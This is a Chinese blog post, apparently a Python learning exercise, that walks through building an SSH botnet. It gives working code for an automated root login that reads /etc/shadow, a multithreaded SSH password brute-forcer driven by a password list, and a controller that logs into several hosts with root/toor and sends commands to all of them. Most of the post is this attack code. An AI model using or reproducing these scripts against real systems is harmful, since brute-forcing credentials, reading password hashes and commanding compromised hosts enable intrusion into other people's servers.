Python构建SSH僵尸网络

要构建SSH僵尸网络,先从SSH自动登陆脚本开始写起。

其中要用到 pexpect 模块

先看一下代码:

 1 ssh_newkey = 'Are you sure you want to continue connecting'
 2 child = pexpect.spawn('ssh root@localhost')  #一看就懂,执行命令
 3 ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) #根本不懂啥意思………………
 4 if ret == 0:
 5     print '[-] Error Connecting'
 6     return
 7 if ret == 1:
 8     child.sendline('yes')  #很明显是发送命令
 9     ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])
10 if ret == 0:
11     print '[-] Error Connecting'
12     return
13 child.sendline(password)
14 child.expect(['# ', '>>>', '>', '\$ '])
15 child.sendline('cat /etc/shadow | grep root')
16 child.expect(['# ', '>>>', '>', '\$ '])
17 print child.before

自己实验一下代码,看看输入结果:

直接看到打印输出为'2',再来看一下官方文档:

 

  expect()方法等待子应用程序返回给定的字符串。 您指定的字符串是正则表达式,因此您可以匹配复杂的模式。

 

可以看到时用来匹配字符串的,那么返回'2',就应该时匹配到了'password'字段。

接下来执行 child.sendline(password),很明显时发送密码字段,进行登陆。

然后执行   child.expect(['# ', '>>>', '>', '\$ ']),不明白为什么要匹配,还要匹配两次

再看一下官方文档

 

每次调用expect()之后的前后属性将被设置为由子应用程序打印的文本。 before属性将包含所有预期字符串模式的文本。

 

看完之后也没懂啥意思,自己试验一下:

发送密码之后直接打印为 'root@localhost's'

可以看到,如果不执行 expect 匹配字符串,child.before 的内容不会更新,所以每次执行完需要重新匹配一次,这样就成功打印出我们想要的信息。

搞懂了代码,现在可以写一个完整的SSH自动登陆脚本:

 1 import pexpect
 2 
 3 PROMPT = ['# ', '>>> ', '> ', '\$ ']
 4 
 5 
 6 def send_command(child, cmd):
 7 
 8     child.sendline(cmd)
 9     child.expect(PROMPT)
10     print child.before  #打印执行的命令和结果
11 
12 
13 def connect(user, host, password):
14 
15     ssh_newkey = 'Are you sure you want to continue connecting'
16     connStr = 'ssh ' + user + '@' + host
17     child = pexpect.spawn(connStr)  #执行命令
18     ret = child.expect([pexpect.TIMEOUT, ssh_newkey, '[P|p]assword:']) #pexpect.TIMEOUT为连接超时时间
19     if ret == 0:
20         print '[-] Error Connecting'  #ret为0则匹配第一个字符串,为连接超时
21         return
22     if ret == 1:
23         child.sendline('yes')  #匹配第二个字符串,则要输入'yes'
24         ret = child.expect([pexpect.TIMEOUT, '[P|p]assword:'])  #发送命令之后,再次进行字符串匹配,否则结果不会更新
25     if ret == 0:
26         print '[-] Error Connecting'
27         return
28     child.sendline(password)
29     child.expect(PROMPT)
30     return child
31 
32 
33 def main():
34 
35     host = 'localhost'
36     user = 'root'
37     password = 'xxx'
38     child = connect(user, host, password)
39     send_command(child, 'cat /etc/shadow | grep root')
40 
41 if __name__ == '__main__':
42     
43     main()

 

 接下来要用一个更加方便的库 pxssh,来进行SSH的暴力破解,用pxssh实现上面代码会更加简单

 1 from pexpect import pxssh
 2 
 3 def send_command(s, cmd):
 4 
 5     s.sendline(cmd)
 6     s.prompt() #和expect方法一样,匹配提示符,匹配到就返回Ture,匹配不到或超时返回False
 7     print s.before
 8 
 9 
10 def connect(host, user, password):
11 
12     try:
13         s = pxssh.pxssh()
14         s.login(host, user, password)
15         return s
16     except:
17         print '[-] Error Connecting'
18         exit(0)
19 s = connect('127.0.0.1', 'root', 'xxxx')
20 send_command(s, 'cat /etc/shadow | grep root')

具体解释可参考:http://pexpect.sourceforge.net/pxssh.html#pxssh-prompt

 接下来实现暴力破解功能,会使用到一个较高级的加锁机制:

Semaphores

信号量是一个更高级的锁机制。信号量内部有一个计数器而不像锁对象内部有锁标识,而且只有当占用信号量的线程数超过信号量时线程才阻塞。这允许了多个线程可以同时访问相同的代码区。

semaphore = threading.BoundedSemaphore()
semaphore.acquire() #: counter减小

... 访问共享资源

semaphore.release() #: counter增大

当信号量被获取的时候,计数器减小;当信号量被释放的时候,计数器增大。当获取信号量的时候,如果计数器值为0,则该进程将阻塞。当某一信号量被释放,counter值增加为1时,被阻塞的线程(如果有的话)中会有一个得以继续运行。
信号量通常被用来限制对容量有限的资源的访问,比如一个网络连接或者数据库服务器。在这类场景中,只需要将计数器初始化为最大值,信号量的实现将为你完成剩下的事情。

max_connections = 10

semaphore = threading.BoundedSemaphore(max_connections)

 

 理解这个机制之后,进行代码的编写

 如果login()函数执行成功,并且没有抛出异常,我们将打印一个消息,表明密码已被找到,并把表示密码已被找到的全局布尔值设为true。否则,我们将捕获该异常。如果异常显示密码被拒绝,我们知道这个密码是不对的,让函数返回即可。但是,如果异常显示socket为"read_nonblocking",可能是SSH服务器被大量连接刷爆了,可以稍等片刻后用相同密码再试一次。此外,如果该异常显示pxssh命令提示符提取困难,也应该等一会,然后让它再试一次。请注意,在connect()函数的参数里有一个布尔量release。由于connect()可以递归地调用另一个connect(),我们必须让只有不是由connect()递归调用的connect()函数才能够释放connection_lock信号。

 1 #-*- coding=utf-8 -*-
 2 from pexpect import pxssh
 3 import optparse
 4 import time
 5 from threading import *
 6 
 7 
 8 maxConnections = 5
 9 connection_lock = BoundedSemaphore(value=maxConnections)
10 Found = False
11 Fails = 0
12 
13 
14 def connect(host, user, password, release):
15 
16     global Found
17     global Fails
18     try:
19         s = pxssh.pxssh()
20         s.login(host, user, password)
21         print '[+] Password Found:' + password
22         Found = True
23     except Exception, e:
24         if 'read_nonblocking' in str(e):
25             Fails += 1
26             time.sleep(5)
27             connect(host, user, password, False)
28         elif 'synchronize with original prompt' in str(e):
29             time.sleep(1)
30             connect(host, user, password, False)
31     finally:
32         if release:
33             connection_lock.release() #释放锁,信号量会增大
34 
35 
36 def main():
37 
38     parser = optparse.OptionParser('usage%prog '+ '-H <target host> -u <user> -F <password list>') #编写命令行参数
39     parser.add_option('-H', dest='tgtHost', type='string', help='specify target host')
40     parser.add_option('-F', dest='passwdFile', type='string', help='specify password file')
41     parser.add_option('-u', dest='user', type='string', help='specify the user')
42     (options, args) = parser.parse_args()   #解析参数
43     host = options.tgtHost
44     passwdFile = options.passwdFile
45     user = options.user
46     if host == None or passwdFile == None or user == None:
47         print parser.usage
48         exit(0)
49     fn = open(passwdFile, 'r')
50     for line in fn.readlines():
51         user = options.user
52         if Found:
53             print "[*] Exiting: Password Found"
54             exit(0)
55         if Fails > 5:
56             print "[!] Exiting: Too Many Socket Timeouts"
57             exit(0)
58         connection_lock.acquire()  # 加锁,信号量会减小
59         password = line.strip('\r').strip('\n')
60         print "[-] Testing: "+str(password)
61         t = Thread(target=connect, args=(host, user, password, True))
62         child = t.start()
63 
64 
65 if __name__ == '__main__':
66 
67     main()

写完测试一下:

成功爆破出密码,但在windows下执行会报错……

查看一下,pexpect目录下的确没有spawn,但是linux系统下也是一样的,不明白为什么……

其实爆破SSH一直都是用Hydra的,写这个完全是为了学习python

能够爆破之后,接下来就是批量登陆并执行命令:

 1 #-*- coding=utf-8 -*-
 2 import optparse
 3 from pexpect import pxssh
 4 
 5 
 6 class Client:
 7 
 8     def __init__(self, host, user, password):
 9         self.host = host
10         self.user = user
11         self.password = password
12         self.session = self.connect()
13 
14     def connect(self):
15 
16         try:
17             s = pxssh.pxssh()
18             s.login(self.host, self.user, self.password)
19             return s
20         except Exception, e:
21             print e
22             print '[-] Error Connecting'
23 
24     def send_command(self, cmd):
25 
26         self.session.sendline(cmd)
27         self.session.prompt()
28         return self.session.before
29 
30 def botnetCommand(command):
31 
32     for client in botNet:
33         output = client.send_command(command)
34         print '[*] Output from '+ client.host
35         print '[+] ' + output + '\n'
36 
37 def addClient(host, user, password):
38 
39     client = Client(host, user, password)
40     botNet.append(client)
41 
42 botNet = []
43 addClient('10.10.10.110', 'root', 'toor')  #这里可以把已爆破出的用户名密码做一个循环读出来,就是真正的批量登陆了
44 addClient('10.10.10.120', 'root', 'toor')
45 addClient('10.10.10.130', 'root', 'toor')
46 botnetCommand('uname -v')
47 botnetCommand('cat /etc/issue')

 看一下结果:

结合以上两个脚本就可以构建SSH僵尸网络了。

posted @ 2017-03-18 12:10  Y0rke  阅读(896)  评论(0编辑  收藏  举报